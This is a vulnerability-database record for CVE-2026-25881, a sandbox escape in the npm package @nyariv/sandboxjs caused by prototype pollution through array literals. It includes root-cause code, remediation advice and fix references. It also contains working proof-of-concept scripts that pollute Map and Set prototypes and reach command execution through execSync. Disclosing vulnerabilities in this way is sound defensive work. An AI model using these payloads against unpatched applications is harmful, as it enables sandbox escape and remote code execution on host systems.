{"id":"CVE-2026-25881","aliases":["GHSA-ww7g-4gwx-m7wj"],"url":"https://o3.security/vulnerability/CVE-2026-25881","summary":"@nyariv/sandboxjs has host prototype pollution from sandbox via array intermediary (sandbox escape)","details":"### Summary\nA sandbox escape vulnerability allows sandboxed code to mutate host built-in prototypes by laundering the `isGlobal` protection flag through array literal intermediaries. When a global prototype reference (e.g., `Map.prototype`, `Set.prototype`) is placed into an array and retrieved, the `isGlobal` taint is stripped, permitting direct prototype mutation from within the sandbox. This results in persistent host-side prototype pollution and may enable RCE in applications that use polluted properties in sensitive sinks (example gadget: `execSync(obj.cmd)`).\n\n### Details\n#### Root Cause:\nThe sandbox implements a protection mechanism using the `isGlobal` flag in the Prop class to prevent modification of global objects and their prototypes. However, this taint tracking is lost when values pass through array/object literal creation.\n\n#### Vulnerable Code Path `src/executor.ts`([L559-L571](https://github.com/nyariv/SandboxJS/blob/main/src/executor.ts#L559-L571)):\n```ts\naddOps(LispType.CreateArray, (exec, done, ticks, a, b: Lisp[], obj, context, scope) => {\n  const items = (b as LispItem[])\n    .map((item) => {\n      if (item instanceof SpreadArray) {\n        return [...item.item];\n      } else {\n        return item;\n      }\n    })\n    .flat()\n    .map((item) => valueOrProp(item, context));  // <- isGlobal flag lost here\n  done(undefined, items);\n});\n```\n#### Exploitation Flow:\n```txt\nSandboxed code: const m=[Map.prototype][0]\n              ↓\nArray creation: isGlobal taint stripped via valueOrProp()\n              ↓\nPrototype mutation: m.cmd='id' (host prototype polluted)\n              ↓\nHost-side impact: new Map().cmd === 'id' (persistent)\n              ↓\nRCE (application-dependent): host code calls execSync(obj.cmd)\n```\n\n#### Protection Bypass Location `src/utils.ts`([L380-L385](https://github.com/nyariv/SandboxJS/blob/main/src/utils.ts#L380-L385)):\n```ts\nset(key: string, val: unknown) {\n  // ...\n  if (prop.isGlobal) {  // <- This check is bypassed\n    throw new SandboxError(`Cannot override global variable '${key}'`);\n  }\n  (prop.context as any)[prop.prop] = val;\n  return prop;\n}\n```\nWhen the prototype is accessed via array retrieval, the `isGlobal` flag is no longer set, so this protection is never triggered.\n\n### PoC\n#### Prototype pollution via array intermediary:\n```js\nconst Sandbox = require('@nyariv/sandboxjs').default;\nconst sandbox = new Sandbox();\n\nsandbox.compile(`\n  const arr=[Map.prototype];\n  const p=arr[0];\n  p.polluted='pwned';\n  return 'done';\n`)().run();\n\nconsole.log('polluted' in ({}), new Map().polluted);\n```\n**Observed output**: `false pwned`\n\n#### Overwrite `Set.prototype.has`:\n```js\nconst Sandbox = require('@nyariv/sandboxjs').default;\nconst sandbox = new Sandbox();\n\nsandbox.compile(`\n  const s=[Set.prototype][0];\n  s.has=isFinite;\n  return 'done';\n`)().run();\n\nconsole.log('has overwritten:', Set.prototype.has === isFinite);\n```\n\n**Observed output**: `has overwritten: true`\n\n#### RCE via host gadget (prototype pollution -> execSync):\n```js\nconst Sandbox = require('@nyariv/sandboxjs').default;\nconst { execSync } = require('child_process');\nconst sandbox = new Sandbox();\n\nsandbox.compile(`\n  const m=[Map.prototype][0];\n  m.cmd='id';\n  return 'done';\n`)().run();\n\nconst obj = new Map();\nconst out = execSync(obj.cmd, { encoding: 'utf8' }).trim();\nconsole.log(out);\n```\n\n**Observed output**: `uid=501(user) gid=20(staff) groups=20(staff),...`\n\n### Impact\nThis is a sandbox escape: untrusted sandboxed code can persistently mutate host built-in prototypes (e.g., `Map.prototype`, `Set.prototype`), breaking isolation and impacting subsequent host execution. RCE is possible in applications that later use attacker-controlled (polluted) properties in sensitive sinks (e.g., passing `obj.cmd` to `child_process.execSync`).\n\n**Affected Systems**: any application using `@nyariv/sandboxjs` to execute untrusted JavaScript.\n\n### Remediation\n- Preserve `isGlobal` protection across array/object literal creation (do not unwrap `Prop` into raw values in a way that drops the global/prototype taint).\n- Add a hard block on writes to built-in prototypes (e.g., `Map.prototype`, `Set.prototype`, etc.) even if they are obtained indirectly through literals.\n- Defense-in-depth: freeze built-in prototypes in the host process before running untrusted code (may be breaking for some consumers).","published":"2026-02-09T21:12:58.981Z","modified":"2026-08-12T03:51:17.019272057Z","cvss":{"score":9,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H"},"epss":{"score":0.00552,"percentile":0.43644,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"@nyariv/sandboxjs","fixedVersion":"0.8.31"}],"fix":{"url":"https://github.com/nyariv/SandboxJS/commit/f369f8db26649f212a6a9a2e7a1624cb2f705b53","label":"nyariv/SandboxJS@f369f8d"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/25xxx/CVE-2026-25881.json"},{"type":"ADVISORY","url":"https://github.com/nyariv/SandboxJS/security/advisories/GHSA-ww7g-4gwx-m7wj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25881"},{"type":"FIX","url":"https://github.com/nyariv/SandboxJS/commit/f369f8db26649f212a6a9a2e7a1624cb2f705b53"},{"type":"PACKAGE","url":"https://github.com/nyariv/SandboxJS"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:17.019272057Z"}}